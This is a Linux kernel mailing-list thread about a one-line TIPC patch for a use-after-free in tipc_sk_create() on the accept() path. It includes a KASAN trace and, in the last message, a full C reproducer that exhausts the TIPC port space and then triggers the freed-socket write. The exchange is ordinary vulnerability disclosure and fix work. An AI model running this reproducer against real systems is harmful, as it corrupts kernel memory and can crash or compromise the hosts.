[PATCH net] tipc: clear sock->sk on the failed-insert path in tipc_sk_create()

[PATCH net] tipc: clear sock->sk on the failed-insert path in tipc_sk_create()

[Daehyeon Ko]

When tipc_sk_create() fails to insert the new socket (tipc_sk_insert()
returns non-zero), its error path frees the sk with sk_free() but leaves
sock->sk pointing at the freed object:

	if (tipc_sk_insert(tsk)) {
		sk_free(sk);
		pr_warn("Socket create failed; port number exhausted\n");
		return -EINVAL;
	}

This is harmless for plain socket(): the syscall layer clears sock->ops
before releasing, so tipc_release() is never called. It is not harmless
on the accept() path. tipc_accept() creates the pre-allocated child
socket with tipc_sk_create(net, new_sock, 0, kern); on failure it leaves
new_sock->sk dangling and new_sock->ops non-NULL, and do_accept() then
fput()s the new file, so __sock_release() -> tipc_release() runs
lock_sock(new_sock->sk) on the freed sk -- a use-after-free write of the
sk_lock spinlock.

tipc_release() already guards this exact "failed accept() releases a
pre-allocated child" case with "if (sk == NULL) return 0;", but the
guard is bypassed because tipc_sk_create() left sock->sk non-NULL
(dangling) rather than NULL.

Clear sock->sk on the failed-insert path so the existing tipc_release()
NULL check fires and the use-after-free is avoided.

The tipc_sk_insert() failure is reached when the per-netns socket
rhashtable hits its max_size (tsk_rht_params.max_size = 1048576, ~2M
elements) -- i.e. once a netns holds ~2M TIPC sockets every insert
returns -E2BIG.

  BUG: KASAN: slab-use-after-free in lock_sock_nested+0x98/0x150
  Write of size 8 at addr ffff8880047cdc38 by task init/1
   lock_sock_nested+0x98/0x150
   tipc_release+0xa4/0x7a0
   __sock_release+0x61/0x120
   sock_close+0x10/0x20
   __fput+0x1d6/0x490
  Allocated by task 1:
   sk_alloc+0x2b/0x380
   tipc_sk_create+0x82/0xb90
   tipc_accept+0x14c/0x650
  Freed by task 1:
   __sk_destruct+0x22d/0x2d0
   tipc_sk_create+0x7b8/0xb90
   tipc_accept+0x14c/0x650
   do_accept+0x1d2/0x2a0

Fixes: 07f6c4bc048a ("tipc: convert tipc reference table to use generic rhashtable")
Cc: stable@vger.kernel.org
Signed-off-by: Daehyeon Ko <4ncienth@gmail.com>
---
This was reported to security@kernel.org (Cc: the TIPC maintainer) with no
response; posting the fix directly to netdev as it is a straightforward
one-line fix. Full C reproducer available on request.

 net/tipc/socket.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/net/tipc/socket.c b/net/tipc/socket.c
index e564341e0216..55e695748332 100644
--- a/net/tipc/socket.c
+++ b/net/tipc/socket.c
@@ -502,6 +502,7 @@ static int tipc_sk_create(struct net *net, struct socket *sock,
 	tipc_set_sk_state(sk, TIPC_OPEN);
 	if (tipc_sk_insert(tsk)) {
 		sk_free(sk);
+		sock->sk = NULL;
 		pr_warn("Socket create failed; port number exhausted\n");
 		return -EINVAL;
 	}
-- 
2.54.0

RE: [PATCH net] tipc: clear sock->sk on the failed-insert path in tipc_sk_create()

[Tung Quang Nguyen]

>Subject: [PATCH net] tipc: clear sock->sk on the failed-insert path in
>tipc_sk_create()
>
>When tipc_sk_create() fails to insert the new socket (tipc_sk_insert() returns
>non-zero), its error path frees the sk with sk_free() but leaves
>sock->sk pointing at the freed object:
>
>	if (tipc_sk_insert(tsk)) {
>		sk_free(sk);
>		pr_warn("Socket create failed; port number exhausted\n");
>		return -EINVAL;
>	}
>
>This is harmless for plain socket(): the syscall layer clears sock->ops before
>releasing, so tipc_release() is never called. It is not harmless on the accept()
>path. tipc_accept() creates the pre-allocated child socket with
>tipc_sk_create(net, new_sock, 0, kern); on failure it leaves new_sock->sk
>dangling and new_sock->ops non-NULL, and do_accept() then fput()s the new
>file, so __sock_release() -> tipc_release() runs
>lock_sock(new_sock->sk) on the freed sk -- a use-after-free write of the sk_lock
>spinlock.
>
>tipc_release() already guards this exact "failed accept() releases a pre-allocated
>child" case with "if (sk == NULL) return 0;", but the guard is bypassed because
>tipc_sk_create() left sock->sk non-NULL
>(dangling) rather than NULL.
>
>Clear sock->sk on the failed-insert path so the existing tipc_release() NULL
>check fires and the use-after-free is avoided.
>
>The tipc_sk_insert() failure is reached when the per-netns socket rhashtable
>hits its max_size (tsk_rht_params.max_size = 1048576, ~2M
>elements) -- i.e. once a netns holds ~2M TIPC sockets every insert returns -
>E2BIG.
>
>  BUG: KASAN: slab-use-after-free in lock_sock_nested+0x98/0x150
>  Write of size 8 at addr ffff8880047cdc38 by task init/1
>   lock_sock_nested+0x98/0x150
>   tipc_release+0xa4/0x7a0
>   __sock_release+0x61/0x120
>   sock_close+0x10/0x20
>   __fput+0x1d6/0x490
>  Allocated by task 1:
>   sk_alloc+0x2b/0x380
>   tipc_sk_create+0x82/0xb90
>   tipc_accept+0x14c/0x650
>  Freed by task 1:
>   __sk_destruct+0x22d/0x2d0
>   tipc_sk_create+0x7b8/0xb90
>   tipc_accept+0x14c/0x650
>   do_accept+0x1d2/0x2a0
>
>Fixes: 07f6c4bc048a ("tipc: convert tipc reference table to use generic
>rhashtable")
>Cc: stable@vger.kernel.org
>Signed-off-by: Daehyeon Ko <4ncienth@gmail.com>
>---
>This was reported to security@kernel.org (Cc: the TIPC maintainer) with no
>response; posting the fix directly to netdev as it is a straightforward one-line
>fix. Full C reproducer available on request.

Yes, please send me your C reproducer.

>
> net/tipc/socket.c | 1 +
> 1 file changed, 1 insertion(+)
>
>diff --git a/net/tipc/socket.c b/net/tipc/socket.c index
>e564341e0216..55e695748332 100644
>--- a/net/tipc/socket.c
>+++ b/net/tipc/socket.c
>@@ -502,6 +502,7 @@ static int tipc_sk_create(struct net *net, struct socket
>*sock,
> 	tipc_set_sk_state(sk, TIPC_OPEN);
> 	if (tipc_sk_insert(tsk)) {
> 		sk_free(sk);
>+		sock->sk = NULL;
> 		pr_warn("Socket create failed; port number exhausted\n");
> 		return -EINVAL;
> 	}
>--
>2.54.0
>

Re: [PATCH net] tipc: clear sock->sk on the failed-insert path in tipc_sk_create()

[Daehyeon Ko]

Hi Tung,

Here's the reproducer; build/run notes and the insert-failure precondition are
in the header comment. Built with a reduced TIPC_MAX_PORT it hits the KASAN
slab-use-after-free in tipc_release() within a few hundred sockets; on a stock
kernel the same path is reached at the rhashtable max (~2M sockets in the netns).

// PoC: tipc_sk_create() dangling-sk use-after-free write on the accept() path.
//
// Build:  gcc -O2 -o poc poc-tipc.c
// Run:    as root, inside a netns with TIPC available; kernel built CONFIG_TIPC=y
//         + CONFIG_KASAN=y to observe the UAF.
//
// The tipc_sk_insert() failure is reached when the per-netns socket rhashtable
// hits its max_size (~2M sockets). To make that precondition cheap to trigger,
// build the kernel with a reduced TIPC_MAX_PORT (e.g. 0xff): the UAF code path
// (tipc_sk_create error / tipc_accept / tipc_release) is UNMODIFIED, only the
// search space is bounded. On a stock kernel the bug is identical, only the
// precondition is more expensive (~2M sockets in the netns).
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/socket.h>

#define LOG(...) do{printf("[poc] " __VA_ARGS__);printf("\n");fflush(stdout);}while(0)
#ifndef AF_TIPC
#define AF_TIPC 30
#endif
#define TIPC_SERVICE_ADDR 2
#define TIPC_NODE_SCOPE   3
#define TIPC_CLUSTER_SCOPE 2

struct tipc_service_addr { uint32_t type; uint32_t instance; };
struct tipc_socket_addr  { uint32_t ref;  uint32_t node; };
struct tipc_service_range{ uint32_t type; uint32_t lower; uint32_t upper; };
struct sockaddr_tipc {
    unsigned short family;
    unsigned char  addrtype;
    signed   char  scope;
    union {
        struct tipc_socket_addr id;
        struct tipc_service_range nameseq;
        struct { struct tipc_service_addr name; uint32_t domain; } name;
    } addr;
};

#define SVC_TYPE 0x1000u
#define SVC_INST 1u

static void mk_svc(struct sockaddr_tipc *a, signed char scope){
    memset(a,0,sizeof(*a));
    a->family=AF_TIPC; a->addrtype=TIPC_SERVICE_ADDR; a->scope=scope;
    a->addr.name.name.type=SVC_TYPE; a->addr.name.name.instance=SVC_INST; a->addr.name.domain=0;
}

int main(void){
    LOG("BEGIN tipc_sk_create dangling-sk UAF (accept path; insert-failure precondition)");
    int lst=socket(AF_TIPC,SOCK_STREAM,0);
    if(lst<0){LOG("SETUP_FAIL socket(AF_TIPC) errno=%d (CONFIG_TIPC?)",errno);return 0;}
    struct sockaddr_tipc sa; mk_svc(&sa,TIPC_NODE_SCOPE);
    if(bind(lst,(struct sockaddr*)&sa,sizeof(sa))<0){LOG("SETUP_FAIL bind errno=%d",errno);return 0;}
    if(listen(lst,64)<0){LOG("SETUP_FAIL listen errno=%d",errno);return 0;}
    LOG("listener bound+listening");

    int cli=socket(AF_TIPC,SOCK_STREAM,0);
    if(cli<0){LOG("SETUP_FAIL client socket errno=%d",errno);return 0;}
    fcntl(cli,F_SETFL,fcntl(cli,F_GETFL,0)|O_NONBLOCK);
    struct sockaddr_tipc ca; mk_svc(&ca,TIPC_CLUSTER_SCOPE);
    int rc=connect(cli,(struct sockaddr*)&ca,sizeof(ca));
    LOG("client connect rc=%d errno=%d (EINPROGRESS ok)", rc, errno);
    usleep(200000); /* let the intra-node connect reach the accept queue */

    /* make tipc_sk_insert() fail: on a reduced-TIPC_MAX_PORT build this exhausts
       the port space in a few hundred sockets; on stock this is the ~2M path */
    static int fd[1<<21]; int nf=0, lasterr=0;
    for(int i=0;i<(1<<21);i++){
        int s=socket(AF_TIPC,SOCK_STREAM,0);
        if(s<0){ lasterr=errno; break; }
        fd[nf++]=s;
    }
    LOG("port-fill: created %d sockets, then socket() failed errno=%d", nf, lasterr);

    struct sockaddr_tipc na; socklen_t nl=sizeof(na);
    LOG("FIRE accept() (expect tipc_sk_create->tipc_sk_insert fail -> tipc_release UAF)");
    int ns=accept(lst,(struct sockaddr*)&na,&nl);
    LOG("accept rc=%d errno=%d (EINVAL = tipc_sk_create failed; UAF in __sock_release path)", ns, errno);
    if(ns>=0) close(ns);
    for(int k=0;k<8;k++){ int n2=accept(lst,(struct sockaddr*)&na,&nl); if(n2>=0)close(n2); }
    LOG("POC_DONE");
    return 0;
}

Thanks,
Daehyeon